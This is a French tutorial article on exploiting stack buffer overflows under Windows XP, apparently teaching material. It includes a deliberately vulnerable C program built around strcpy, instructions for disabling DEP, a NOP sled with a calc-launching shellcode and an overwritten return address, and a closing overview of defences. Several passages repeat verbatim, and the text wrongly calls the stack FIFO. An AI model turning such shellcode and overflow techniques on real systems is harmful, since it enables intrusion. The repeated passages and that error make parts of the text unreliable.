Pré-requis :
Afin d’adresser cet article à un maximum de personne, j’ai essayé de faire en sorte qu’il y ai le minimum de pré-requis possible à la compréhension de celui-ci. Néanmoins d’éventuelle connaissance en C, assembleur et gestion de la mémoire ne sont pas négligeable.
Introduction :
Il existe plusieurs types de buffer overflow. Je vais vous présenter dans l’article suivant les stack overflow. J’ai choisi de vous montrer les stack overflow sous Windows. Vous aurez besoin pour cet article des logiciels suivants :
* Code::Blocks, : IDE avec lequel nous compilerons notre programme C.
* OllyDbg : un excellent débuggeur sous Windows qui nous permettra de voir ce qui se passe au niveau de la mémoire.
* Ruby (facultatif) : cela nous permettra de construire des chaînes de caractère répétitive très rapidement (si vous connaissez un autre langage de script tel que perl cela ira parfaitement).
Il va tout d’abord nous falloir désactiver une protection (DEP Data Execution Prevention) mise en place par Windows (depuis le SP2) contre les stack/heap overflow. Pour cela allez dans le « Panneau de configuration » puis « System », allez dans l’onglet « Advanced », dans la section « Performance » cliquez sur « Setting », enfin allez dans l’onglet « Data execution prevention » et cliquez sur « Turn on DEP for all programs and services except those I select: », vous mettrez ici le programme avec lequel nous allons apprendre les stack overflow.
Ne vous inquiétez pas il existe des technique pour outrepassez cette protection, mais ce n’est pas le but de cet article, j'en parlerai surement dans un prochain article ;-).
Gestion de la mémoire :
Afin de comprendre comment les stack overflow fonctionnent, il faut au préalable comprendre comment la mémoire est gérée.
Lors de l’exécution d’un programme plusieurs sections mémoires sont allouées. Chacune ayant des utilités différentes. Les différentes sections allouées sont (ce schéma n’est pas une représentation complète de la mémoire, seule sont ici les informations nous intéressant):
* Le segment de code (text)
- Il contient du code compilé
- Les constantes du programme
- Il est généralement en lecture seule
- Sa taille est fixe
* Le segment de données (datas)
- Il contient des variables globales et statique initialisées, et non initialisées
* Le tas (heap)
- Il croît vers les adresses mémoires hautes
- Sa taille est variable
- Il contient des données allouées dynamiquement (malloc()*free())
* La pile (stack)
- Il croît vers les adresses mémoires basses
- Structure de type FIFO
- Deux principales instructions assembleur POP PUSH la gère
- Elle contient les paramètres et variables locales de la fonction appelée
- Elle contient EBP, EIP.
* Arguments de la fonction
Afin d’adresser cet article à un maximum de personne, j’ai essayé de faire en sorte qu’il y ai le minimum de pré-requis possible à la compréhension de celui-ci. Néanmoins d’éventuelle connaissance en C, assembleur et gestion de la mémoire ne sont pas négligeable.
Introduction :
Il existe plusieurs types de buffer overflow. Je vais vous présenter dans l’article suivant les stack overflow. J’ai choisi de vous montrer les stack overflow sous Windows. Vous aurez besoin pour cet article des logiciels suivants :
* Code::Blocks, : IDE avec lequel nous compilerons notre programme C.
* OllyDbg : un excellent débuggeur sous Windows qui nous permettra de voir ce qui se passe au niveau de la mémoire.
* Ruby (facultatif) : cela nous permettra de construire des chaînes de caractère répétitive très rapidement (si vous connaissez un autre langage de script tel que perl cela ira parfaitement).
Il va tout d’abord nous falloir désactiver une protection (DEP Data Execution Prevention) mise en place par Windows (depuis le SP2) contre les stack/heap overflow. Pour cela allez dans le « Panneau de configuration » puis « System », allez dans l’onglet « Advanced », dans la section « Performance » cliquez sur « Setting », enfin allez dans l’onglet « Data execution prevention » et cliquez sur « Turn on DEP for all programs and services except those I select: », vous mettrez ici le programme avec lequel nous allons apprendre les stack overflow.
Ne vous inquiétez pas il existe des technique pour outrepassez cette protection, mais ce n’est pas le but de cet article, j'en parlerai surement dans un prochain article ;-).
Gestion de la mémoire :
Afin de comprendre comment les stack overflow fonctionnent, il faut au préalable comprendre comment la mémoire est gérée.
Lors de l’exécution d’un programme plusieurs sections mémoires sont allouées. Chacune ayant des utilités différentes. Les différentes sections allouées sont (ce schéma n’est pas une représentation complète de la mémoire, seule sont ici les informations nous intéressant):
* Le segment de code (text)
- Il contient du code compilé
- Les constantes du programme
- Il est généralement en lecture seule
- Sa taille est fixe
* Le segment de données (datas)
- Il contient des variables globales et statique initialisées, et non initialisées
* Le tas (heap)
- Il croît vers les adresses mémoires hautes
- Sa taille est variable
- Il contient des données allouées dynamiquement (malloc()*free())
* La pile (stack)
- Il croît vers les adresses mémoires basses
- Structure de type FIFO
- Deux principales instructions assembleur POP PUSH la gère
- Elle contient les paramètres et variables locales de la fonction appelée
- Elle contient EBP, EIP.
* Arguments de la fonction
- Argc
- Argv[]
Nous allons nous intéresser dans notre cas (les stack overflow) à la pile, et allons voir son fonctionnement plus en détail.
Prologue et épilogue :
Une pile est « crée » à chaque appel d’une fonction lors de l’exécution d’un programme, et cette pile (comme vu ci-dessus) stockera les paramètres et variables locale de la fonction.
Rappel sur les registres : un registre est une case mémoire directement manipulable par le processeur à laquelle il a directement accès. Il existe différents registres ayant chacun une utilité différente. Les registres auxquels nous allons nous intéresser pour le reste de cet article sont :
- EIP : adresse de la prochaine instruction à exécuter.Une pile est « crée » à chaque appel d’une fonction lors de l’exécution d’un programme, et cette pile (comme vu ci-dessus) stockera les paramètres et variables locale de la fonction.
Rappel sur les registres : un registre est une case mémoire directement manipulable par le processeur à laquelle il a directement accès. Il existe différents registres ayant chacun une utilité différente. Les registres auxquels nous allons nous intéresser pour le reste de cet article sont :
- EBP : pointe sur la base de la pile.
- ESP : pointe sur le sommet de la pile.
L’appel d’une fonction se fait par le biais de l’instruction CALL, qui permet d’empiler EIP puis de sauter au code de la fonction et de l’exécuter. (Schéma 1)
La « création » de la pile se fera à l’aide du prologue. Le prologue se résume à trois instructions assembleur qui sont:
PUSH EBP ; prologue
MOV EBP,ESP
SUB ESP, « une valeur »
Par ces trois instructions nous allons empiler EBP (PUSH EBP) (schéma 2), copier la valeur de ESP dans EBP (MOV EBP, ESP) (schéma 3), puis soustraire à ESP l’espace mémoire occupé par les données de la fonction (SUB ESP, « une valeur ») (schéma 4). Le prologue nous permettra par la suite de remettre les registres à leurs valeurs précédent l’appel de la fonction (grâce à l’épilogue).
Voici comment sera l’état de la pile Suite au call et au prologue :
(Le registre EBP pointant sur la sauvegarde d’EBP, et ESP pointant sur le haut de la pile soit sur les dernières données empilées.)
LEAVE
RET
l’instruction LEAVE est l’équivalente de
MOV ESP, EBP
POP EBP
l’instruction RET « équivaut » à
POP EIP
JMP EIP
Ces instructions permettent de restituer les registres à leurs valeurs d’avant l’appel de la fonction, et de sauter à l’instruction suivante de la fonction appelante.
Le programme test :
(Les tests suivant sont réalisés avec l’IDE Code::Blocks)
Voici le programme avec lequel nous allons comprendre les stack overflow (ce programme ne sert à rien, mais c’est pour l’exemple ;-)).
void function(char *argument1)
{
char c[100];
printf("Debut function.\nAdresse de c : %p.\n", c);
strcpy(c,argument1);
printf("Fin function.\n");
}
int main()
{
printf("****Debut****\n\n");
char chaineTropLongue[] = "aaa";
function(chaineTropLongue);
printf("\n**** Fin ****\n");
return 0;
}
Explications du programme :
Notre main va appeler la fonction function() en lui passant comme argument chaineTropLongue.
Notre fonction function() va déclarer un tableau de char d’une taille de 100. Suite à cette déclaration elle va copier l’intégralité de l’argument passé en paramètre (chaineTropLongue) dans notre tableau. Cette copie va s’effectuer « grâce » à la fonction
char * strcpy ( char * destination, const char * source );Notre main va appeler la fonction function() en lui passant comme argument chaineTropLongue.
Notre fonction function() va déclarer un tableau de char d’une taille de 100. Suite à cette déclaration elle va copier l’intégralité de l’argument passé en paramètre (chaineTropLongue) dans notre tableau. Cette copie va s’effectuer « grâce » à la fonction
cette fonction va copier caractère par caractère la source vers la destination jusqu'à ce qu’elle rencontre un ‘\0’.
Lançons maintenant notre programme :
Voici la sortie :
****Debut****
Debut function.
Adresse de c : 0022FED0.
Fin function.
**** Fin ****
Si vous avez installer ruby alors ouvrez une invite de commandes MS-DOS et tapez :
ruby -e 'print "a"*200'
Copiez les 200 « a » affichés et collez-les dans votre programme afin de les affectés à la variable chaineTropLongue (à la place des "aaa" ). Si vous n’avez pas ruby d’installé alors copier-coller des « a » jusqu'à arriver à environ au moins 140 « a ».
Recompilez, lancez.
Voici la sortie :
****Debut****
Debut function.
Adresse de c : 0022FED0.
Fin function.
Et la le programme plante lamentablement …
On voit que le programme n’a pas affiché « ****Fin**** », mais a affiché « Fin function », donc il a planté entre ces deux printf, soit entre la fin de la fonction et le retour au main (débogage à coup de printf :D)). Le programme à donc très certainement dû planter lors de lors de l’épilogue.
Analyse de la mémoire :
Tips : Vous pouvez ajouter OllyDgb dans le menu du clic droit de votre souris en allant dans Options --> Add to explorer. Ainsi lorsque vous voudrez analyser un .exe vous pourrez directement faire un clic droit et cliquer sur « Open with OllyDbg ».
Examinons ce qui s’est passé dans la mémoire à l’aide d’OllyDbg :
Ouvrez « Stack overflow.exe » dans OllyDbg.
Vous devriez arriver sur une interface à peu près similaire à cela :
- En haut à gauche nous avons le code ASM de notre programme
- En haut à droite nous avons les différents registres et leurs valeurs
- En bas à droite nous avons la pile
- En bas à gauche nous avons la mémoire utilisée par le programme
On peut d’ors et déjà remarquer que OllyDbg a en partie analyser le code ASM, et nous a simplifié la compréhension de celui-ci en mettant en commentaire dans la quatrième colonne le nom des différentes fonctions appelées, les arguments de ces fonction, ainsi que dans la seconde colonne en nous représentant la fonction function() et le main de notre programme par des accolades, etc. …
Vous devriez reconnaître les prologues et épilogues de main() et function() dans le code ASM.
Nous allons poser différents breakpoints sur le code ASM de notre fonction function(), pour poser un breakpoint mettez vous sur la ligne concernée et appuyer sur F2.
Voici un aperçu d’OllyDbg une fois les breakpoints posés :
Voici un aperçu d’OllyDbg une fois les breakpoints posés :
Nous avons donc posé des breakpoints sur la second ligne de l’épilogue de la fonction, sur le strcpy(c,argument1), ainsi que sur l’épilogue de la fonction.
Une fois cela fait nous allons pouvoir commencer à analyser pourquoi notre programme a planté (durant le reste de l’article il est possible que vous n’ayez pas les mêmes adresses mémoires que moi, cela n’enlève rien à la compréhension). Placez vous dans OllyDbg et appuyez sur F9 :
- Premier breakpoint : nous constatons dans la mémoire qu’EBP et EIP ont été empilés, en effet si vous regardez à l’adresse 0022FE6C la valeur correspondante est 00401399, en regardant dans la section ASM de OllyDbg à l’intérieur du main, on constate que juste avant l’adresse 00401399 il y avait un CALL Stack.004012F0 ce qui correspond à l’appel à notre fonction function(). Lors de ce CALL nous avons empilé EIP 00401399 soit l’adresse étant juste après le CALL Stack.004012F0, ce qui nous permettra lors de l’épilogue de la fonction de pouvoir savoir où reprendre l’exécution du programme en dépilant EIP. Ainsi une fois l’exécution de la fonction terminée nous dépilerons EIP et jumperons sur cette adresse, ce qui nous permettra de reprendre le flux d’exécution du programme juste après le précédent appel de la fonction. (la compréhension de ce passage est essentielle pour la suite de l’article n’hésitez pas à la relire plusieurs fois en vous aidant des précédents schémas).
Vous pouvez pour mieux vous repérer pour la suite en double cliquant sur l’adresse correspondant à la sauvegarde d’EIP sur la pile, afin d’obtenir une flèche ==> en face de la sauvegarde comme ceci :
- Second breakpoint : nous avons mis un second breakpoint sur la fonction strcpy(), juste avant la copie des 200 « a » dans le tableau c d’une taille de 100 char, autrement dit à ce moment là il va se passer quelque chose ;-). Pour avancer d’une instruction appuyer sur F8, afin que la fonction strcpy() soit exécutée. Et à ce moment là regardez donc l’état de la pile et plus particulièrement notre ancienne sauvegarde d’EIP située à 0022FE6C pointée par la flèche …, on voit que celle-ci à été réécrite et à dorénavant la valeur de 61616161 (EBP aussi a été réécrite en 61616161) 61 à la valeur hexadécimale du caractère « a ». Maintenant vous devez commencer à vous demander que va-t-il se passer lors de l’épilogue lorsque l’on va dépiler EBP ainsi que EIP … la suite dans quelques instant !
- Troisième breakpoint : ce breakpoint là est placé sur le RETN de l’épilogue, on va donc dépiler la sauvegarde d’EIP et jumper dessus, et donc exécuter les données présente à cette adresse. Appuyez sur F9 afin d’arriver sur ce breakpoint. On peut voir que juste en dessous de la zone du code ASM, un message nous dit « Return to 61616161 », ce qui nous indique que nous allons sauter à l’adresse 61616161, nous allons confirmer cela en appuyant une ou deux fois de plus sur F9, et la OllyDbg nous affiche une belle Popup nous disant
Explications :
Lors du premier breakpoint nous avons vu lors du prologue à quel endroit EIP et EBP étaient empilées. Lors du second breakpoint nous avons vu que strcpy() avait écrit les 200 « a » dans une variable contenant 100 char. On a vu lors de cette étape que les sauvegardes d’EIP et EBP avait été réécrites avec les valeurs 61616161. Lors du troisième breakpoint nous avons vu lors de l’épilogue que nous essayions de jumper sur l’adresse mémoire 61616161, et OllyDbg nous renvoyait gentiment balader avec une belle pop-up.
Tout ces évènements sont logiques et mènent au plantage du programme. Nous avons vu lors des schémas sur la gestion de la mémoire, qu’une fois rentré dans function() la pile était dans l’état du premier schéma ci-contre. La fonction strcpy() comme nous l’avons vu précédemment copie caractère par caractère la chaîne source vers la chaîne destination jusqu'à ce qu’elle rencontre un ‘\0’, or dans notre chaîne contenant 200 « a » nous n’avons aucun ’\0’ donc elle va copier toute cette chaîne dans notre tableau « c » de 100 char. Ce qui va provoquer une fois les 100 premiers « a » écrits, l’écriture de 100 caractères « a » en dehors du tableau et donc écraser la mémoire étant située juste après notre tableau « c ». En l’écrasant strcpy() va donc écraser notre sauvegarde d’EIP et d’EBP, ce qui justifie que la fonction essayait de jumper sur l’adresse 61616161 (61 correspondant au caractère « a » en hexadécimal). Le second schéma ci-contre illustre l’écrasement d’EBP et EIP par strcpy().
Injecter le shellcode (théorie)
Maintenant que nous savons comment on peut faire planter la pile, nous allons essayer d’en détourner l’utilisation en utilisant des shellcodes.
Qu’est ce qu’un shellcode ?
Un shellcode est une chaîne de caractère binaire, pouvant, si elle est exécutée retourner un shell, ajouter un compte administrateur, désactiver le firewall de windows, …
A la place de passer en paramètre de notre fonction une chaîne contenant 200 « a », nous allons donc passer en paramètre un shellcode. Mais il faudra faire en sorte que nous exécutions notre shellcode, pour cela nous allons écraser EIP comme nous l’avions fait avec les « a », mais cette fois ci nous allons faire « pointer » EIP sur notre shellcode. Ainsi lorsque la fonction function() va essayer de rendre la main au main() de notre programme grâce à l’épilogue elle va dépiler notre valeur d’EIP pointant sur notre shellcode et l’exécutera, ainsi nous aurons détourné le flux d’exécution du programme et exécuté du code arbitraire.
Il existe en assembleur une instruction « nop » qui peut se traduire par « ne rien faire », elle va nous permettre de ne pas modifier l’état de la pile ainsi que les valeurs des registres tout en permettant au programme de continuer son exécution. Cette instruction va nous servir à combler la place inoccupée de notre chaîne de caractère contenant le shellcode. Par exemple, dans notre cas nous avons un tableau de 100 octets à remplir avec notre shellcode, si notre shellcode à une taille de 56 octets alors il restera 44 octets à combler dans la chaîne de caractères, l’instruction nop se prête parfaitement à cela. Notre chaîne de caractère finale ressemblera donc à cela « nop…nop+shellcode+EIP ».
Tout ce bloc de nop ne vas pas seulement nous servir à combler le vide de la chaîne de caractère, un nop n’étant rien de plus qu’une instruction disant au processeur de ne rien faire, nous allons nous en servir en ne faisant plus pointer la sauvegarde d’EIP sur le shellcode, mais dans le bloc de nop. Voici deux schémas expliquant la différence :
- le premier montre la pile avant l’appel de strcpy() avec notre chaine de caractère « nop…nop+shellcode+EIP ».
- le second montre la pile après l’appel de strcpy() avec notre chaîne de caractère « nop…nop+shellcode+EIP », on voit que EIP va pointer dans notre block de nops, et lorsque le programme arrivera à l’épilogue et dépilera EIP il jumpera directement dans les nops, en exécutera quelque uns, et exécutera notre shellcode.
Ainsi nous auront une « marge d’erreur » concernant l’adresse avec laquelle nous allons écraser EIP, nous pourrons nous tromper de quelques nops.
Injecter le shellcode (pratique)
Nous allons mettre en œuvre ce que nous venons de voir, ne sachant pas encore faire de shellcode j’ai donc demandé un petit shellcode à notre ami Google, qui m’en a donné plusieurs sympathiques. Seulement différentes contraintes sont à prendre en compte. Nous utilisons la fonction strcpy() pour comprendre les stack overflow, donc il ne faudra avoir aucun ‘\0’ dans notre shellcode. Si nous venions à avoir un ‘\0’ dans notre shellcode alors la copie s’arrêterai directement après celui-ci, ce qui aurait pour effet de ne pas copier le reste du shellcode et de ne pas copier EIP. Nous avons aussi une place limitée pour le shellcode, celui doit faire au maximum environ 100 octets. Nous réécrivons en plus la valeur de la sauvegarde d’EBP donc il ne faudra pas que le shellcode utilise le registre EBP sous peine de ne pas fonctionner normalement (à moins qu’on le réécrive avec sa valeur actuelle). Et si possible que le résultat du shellcode soit sympa ;-).
Notre ami Google m’a donc trouvé un petit shellcode sans ‘\0’, d’une taille de 21 octets, et n’utilisant pas le registre EBP, qui nous affichera la calculatrice Windows.
Voici la bête ^^ :
//lance la calculette Windows
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"
Ce shellcode marche sous Windows XP SP2, pour le faire fonctionner sous d’autre version de Windows, il vous faudra obtenir l’adresse de msvcrt.system(), vous pourrez la trouver grâce à un petit programme en C dénommé « arwin » que vous pourrez trouver à cette adresse :
http://www.vividmachines.com/shellcode/shellcode.html. Il vous faudra alors remplacer la troisième ligne en mettant l’adresse trouvée, par exemple sous XP SP2 l’adresse est 77C293C7, comme mon système fonctionne en little endian il faudra écrire "\xC7\x93\xC2\x77" (la compréhension de little endian et big endian n’est pas essentielle pour comprendre cet article, et ce n’est pas le but, si vous le savez tant mieux sinon, ce n’est pas grave ;-).
Nous avons vu précédemment que nous allons construire notre chaîne de caractères magique de la manière suivante : nops…nops+shellcode+EIP, encore faut-il savoir combien de nop allons nous mettre. Nous avons vu précédemment que la sauvegarde d’EIP était contenu à l’adresse 0022FE6C, et dans notre programme le premier printf de function()
printf("Debut function.\nAdresse de c : %p.\n", c); nous affiche l’adresse mémoire du début de notre tableau soit 0022FDF0, une soustraction de ces deux valeurs hexadécimales nous donne 7C soit 124 en décimal. Ce qui veut dire que nous avons 124 octets pour notre chaîne de caractères, sans compter EIP, soit 128 caractères en comptant EIP. Une brève soustraction de la place totale moins la place du shellcode et des 4 octets d’EIP nous donne 128-21-4= 103. Nous devrons donc remplir notre chaîne avec 103 nops.
Il ne nous reste plus qu’a déterminer l’adresse d’EIP, ici nous aurons 2 choix possibles,
- Soit nous mettrons une adresse pointant directement dans les nops copiés à l’intérieur de notre tableau de caractère « c ».
- Soit nous pourrons (et je vous renvoie au schéma sur les différentes sections mémoire d’un programme)
directement faire pointer la sauvegarde d’EIP sur les arguments de la fonction (notre chaîne de caractère magique passée en argument de la fonction). Effectivement voici deux screenshots de la pile. Le premier représente la pile juste avant l’appel de strcpy(), on voit encadrée en bleu notre chaîne de caractère passée en argument. Le second représente la pile juste après l’appel de strcpy(), le nouveau cadre bleu représente les données copiées dans notre tableau c[].
Si vous choisissez de faire pointer la sauvegarde d’EIP sur l’argument de la fonction vous pourrez par exemple prendre comme valeur 0022FF20. Si vous choisissez de prendre la valeur dans le tableau c[] alors vous pourrez par exemple prendre comme valeur 0022FE60.
On peut maintenant construire notre chaîne de caractères magique. Qui sera composée de 103 nops+le shellcode+EIP, faite attention à bien réécrire EIP « à l’envers » (little endian). Ce qui donnera par exemple pour les valeurs précédemment sélectionnées \x20\xFF\x22\x00 ou alors \x60\xFE\x22\00. Et on se rend compte que ce nous voulions éviter arrive … on à des null bytes ‘\0’ dans notre chaîne de caractères. Mais cela ne va pas empêcher notre shellcode de fonctionner les null bytes se trouvent à la fin de la chaîne de caractères, or strcpy ajoute automatiquement un null byte lors de la copie de la chaîne de caractères. Donc on peut omettre les \x00, cequi nous donnera comme valeur \x20\xFF\x22 ou \x60\xFE\x22.
Notre chaîne de caractère finale sera donc :
103 nops+ shellcode+ \x20\xFF\x22 ou \x60\xFE\x22
Si vous avez ruby d’installé tapez dans une invite de commande :
ruby -e 'print "\\x90"*103'
Copiez-collez les 103 « \x90 » dans un fichier texte.
Puis ajoutez le shellcode à la suite et enfin l’adresse choisie pour écraser EIP, vous devriez arriver à quelque chose comme cela :
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"
"\x20\xFF\x22"
Enfin affectez cette chaîne de caractère à chaineTropLongue :
void function(char *argument1)
{
char c[100];
printf("Debut function.\nAdresse de c : %p.\n", c);
strcpy(c,argument1);
printf("Fin function.\n");
}
int main()
{
printf("****Debut****\n\n");
char chaineTropLongue[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B"
"\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7"
"\x20\xFF\x22";
function(chaineTropLongue);
printf("\n**** Fin ****\n");
return 0;
}
Compilez, exécutez, enjoy :-)))
Conclusion :
Plusieurs protection on été mises en place afin de contrer les stack overflow tel que DEP que nous avons dû désactiver au début de cet article. DEP rend la pile non exécutable, ce qui a pour effet de ne pas pouvoir exécuter notre shellcode à partir de la pile. DEP est présent au niveau processeur ainsi qu’au niveau du système d’exploitation.
Les « Stack canaries » sont une autre protection mises en place, dont le principe est de générer un nombre aléatoire et de le placer juste avant la sauvegarde d’EIP sur la pile, ainsi lorsque nous écraseront EIP nous écraserons aussi ce nombre aléatoire. La valeur de ce nombre sera vérifiée juste avant d’utiliser la sauvegarde d’EIP.
Vista, Linux (depuis le kernel 2.6.20), et Mac OSX Leopard ont une autre sécurité (ASLR Adress Space Layout Randomization) qui a pour but de placer de manière aléatoire les données et les bibliothèques chargées en mémoires, ainsi cela limite les attaques basées sur des adresses placées statiquement dans les shellcodes.
D’autre protection existent tel que /GS dans Visual Studio, Stack-Smashing Protector dans GCC (depuis la version 4.1).
La combinaison de plusieurs protections rend l’exploitation de stack overflow difficile dans certain cas.
Toutes ces protections sont des protections agissant directement au niveau du système d’exploitation ou du processeur, mais des protections existent aussi au niveau réseau tels que les IDS. Les IDS peuvent analyser les paquets transitant sur le réseau et reconnaître par exemple une chaîne consécutive de nops, ou alors des shellcodes connu, et ainsi bloquer le trafic.
L’article touche à sa fin, j’espère vous avoir appris comment fonctionne les stack overflow. N’hésitez pas à parcourir Internet vous trouvez d’autre articles traitant sur le sujet. Si vous avez compris la théorie et la pratique alors ce sera facile sous d’autre système d’exploitation de faire la même chose. Par exemple sous Unix avec gcc et gdb.